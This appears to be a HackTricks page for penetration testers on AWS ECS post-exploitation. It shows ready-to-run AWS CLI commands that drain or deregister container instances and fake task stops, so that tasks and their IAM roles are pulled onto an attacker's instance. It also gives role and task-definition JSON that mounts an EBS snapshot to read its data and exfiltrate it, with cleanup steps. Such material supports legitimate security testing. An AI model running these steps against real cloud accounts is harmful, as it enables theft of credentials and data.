# AWS - ECS Post Exploitation {{#include ../../../../banners/hacktricks-training.md}} ## ECS For more information check: {{#ref}} ../../aws-services/aws-ecs-enum.md {{#endref}} ### Host IAM Roles In ECS an **IAM role can be assigned to the task** running inside the container. **If** the task is run inside an **EC2** instance, the **EC2 instance** will have **another IAM** role attached to it.\ Which means that if you manage to **compromise** an ECS instance you can potentially **obtain the IAM role associated to the ECR and to the EC2 instance**. For more info about how to get those credentials check: {{#ref}} https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html {{#endref}} > [!CAUTION] > Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance. ### Privesc to node to steal other containers creds & secrets But moreover, EC2 uses docker to run ECs tasks, so if you can escape to the node or **access the docker socket**, you can **check** which **other containers** are being run, and even **get inside of them** and **steal their IAM roles** attached. #### Making containers run in current host Furthermore, the **EC2 instance role** will usually have enough **permissions** to **update the container instance state** of the EC2 instances being used as nodes inside the cluster. An attacker could modify the **state of an instance to DRAINING**, then ECS will **remove all the tasks from it** and the ones being run as **REPLICA** will be **run in a different instance,** potentially inside the **attackers instance** so he can **steal their IAM roles** and potential sensitive info from inside the container. ```bash aws ecs update-container-instances-state \ --cluster --status DRAINING --container-instances ``` The same technique can be done by **deregistering the EC2 instance from the cluster**. This is potentially less stealthy but it will **force the tasks to be run in other instances:** ```bash aws ecs deregister-container-instance \ --cluster --container-instance --force ``` A final technique to force the re-execution of tasks is by indicating ECS that the **task or container was stopped**. There are 3 potential APIs to do this: ```bash # Needs: ecs:SubmitTaskStateChange aws ecs submit-task-state-change --cluster \ --status STOPPED --reason "anything" --containers [...] # Needs: ecs:SubmitContainerStateChange aws ecs submit-container-state-change ... # Needs: ecs:SubmitAttachmentStateChanges aws ecs submit-attachment-state-changes ... ``` ### Steal sensitive info from ECR containers The EC2 instance will probably also have the permission `ecr:GetAuthorizationToken` allowing it to **download images** (you could search for sensitive info in them). ### Mount an EBS snapshot directly in an ECS task (configuredAtLaunch + volumeConfigurations) Abuse the native ECS EBS integration (2024+) to mount the contents of an existing EBS snapshot directly inside a new ECS task/service and read its data from inside the container. - Needs (minimum): - ecs:RegisterTaskDefinition - One of: ecs:RunTask OR ecs:CreateService/ecs:UpdateService - iam:PassRole on: - ECS infrastructure role used for volumes (policy: `service-role/AmazonECSInfrastructureRolePolicyForVolumes`) - Task execution/Task roles referenced by the task definition - If the snapshot is encrypted with a CMK: KMS permissions for the infra role (the AWS managed policy above includes the required KMS grants for AWS managed keys). - Impact: Read arbitrary disk contents from the snapshot (e.g., database files) inside the container and exfiltrate via network/logs. Steps (Fargate example): 1) Create the ECS infrastructure role (if it doesn’t exist) and attach the managed policy: ```bash aws iam create-role --role-name ecsInfrastructureRole \ --assume-role-policy-document '{"Version":"2012-10-17","Statement":[{"Effect":"Allow","Principal":{"Service":"ecs.amazonaws.com"},"Action":"sts:AssumeRole"}]}' aws iam attach-role-policy --role-name ecsInfrastructureRole \ --policy-arn arn:aws:iam::aws:policy/service-role/AmazonECSInfrastructureRolePolicyForVolumes ``` 2) Register a task definition with a volume marked `configuredAtLaunch` and mount it in the container. Example (prints the secret then sleeps): ```json { "family": "ht-ebs-read", "networkMode": "awsvpc", "requiresCompatibilities": ["FARGATE"], "cpu": "256", "memory": "512", "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", "containerDefinitions": [ {"name":"reader","image":"public.ecr.aws/amazonlinux/amazonlinux:latest", "entryPoint":["/bin/sh","-c"], "command":["cat /loot/secret.txt || true; sleep 3600"], "logConfiguration":{"logDriver":"awslogs","options":{"awslogs-region":"us-east-1","awslogs-group":"/ht/ecs/ebs","awslogs-stream-prefix":"reader"}}, "mountPoints":[{"sourceVolume":"loot","containerPath":"/loot","readOnly":true}] } ], "volumes": [ {"name":"loot", "configuredAtLaunch": true} ] } ``` 3) Create or update a service passing the EBS snapshot via `volumeConfigurations.managedEBSVolume` (requires iam:PassRole on the infra role). Example: ```json { "cluster": "ht-ecs-ebs", "serviceName": "ht-ebs-svc", "taskDefinition": "ht-ebs-read", "desiredCount": 1, "launchType": "FARGATE", "networkConfiguration": {"awsvpcConfiguration":{"assignPublicIp":"ENABLED","subnets":["subnet-xxxxxxxx"],"securityGroups":["sg-xxxxxxxx"]}}, "volumeConfigurations": [ {"name":"loot","managedEBSVolume": {"roleArn":"arn:aws:iam:::role/ecsInfrastructureRole", "snapshotId":"snap-xxxxxxxx", "filesystemType":"ext4"}} ] } ``` 4) When the task starts, the container can read the snapshot contents at the configured mount path (e.g., `/loot`). Exfiltrate via the task’s network/logs. Cleanup: ```bash aws ecs update-service --cluster ht-ecs-ebs --service ht-ebs-svc --desired-count 0 aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force aws ecs deregister-task-definition ht-ebs-read ``` {{#include ../../../../banners/hacktricks-training.md}}